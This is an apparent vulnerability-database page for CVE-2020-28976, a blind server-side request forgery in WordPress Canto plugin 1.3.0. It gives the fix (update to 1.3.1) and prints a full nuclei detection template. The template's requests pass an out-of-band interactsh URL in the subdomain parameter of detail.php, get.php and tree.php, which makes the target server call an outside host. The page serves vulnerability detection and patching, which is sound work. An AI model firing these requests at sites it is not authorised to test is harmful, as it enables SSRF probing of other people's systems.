Browse / CVEs / CVE-2020-28976
CVE-2020-28976· canto / canto· CWE-918
WordPress Canto 1.3.0 - Blind Server-Side Request Forgery
WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
Fix
Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor.
How to confirm it
Send: GET /wp-content/plugins/canto/readme.txt
Positive when: contains "Canto" and "Tested up to:"
Send: GET {{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}} ; GET {{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}} ; GET {{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains "null" AND contains in header "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2020-28976 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-28976
info:
name: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery
author: LogicalHunter
severity: medium
description: WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources and potential data leakage.
remediation: |
Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor.
reference:
- https://www.exploit-db.com/exploits/49189
- https://www.canto.com/integrations/wordpress/
- https://github.com/CantoDAM/Canto-Wordpress-Plugin
- https://nvd.nist.gov/vuln/detail/CVE-2020-28976
- http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2020-28976
cwe-id: CWE-918
epss-score: 0.27771
epss-percentile: 0.98105
cpe: cpe:2.3:a:canto:canto:1.3.0:*:*:*:*:wordpress:*:*
metadata:
max-request: 4
vendor: canto
product: canto
framework: wordpress
tags: cve2020,cve,packetstorm,ssrf,wordpress,wp-plugin,oast,edb,canto,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/canto/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Canto'
- 'Tested up to:'
condition: and
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}"
- "{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}"
- "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "null"
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/49189
- https://www.canto.com/integrations/wordpress/
- https://github.com/CantoDAM/Canto-Wordpress-Plugin
- https://nvd.nist.gov/vuln/detail/CVE-2020-28976
- http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html
Use this check only on systems you are authorised to test. Where the data comes from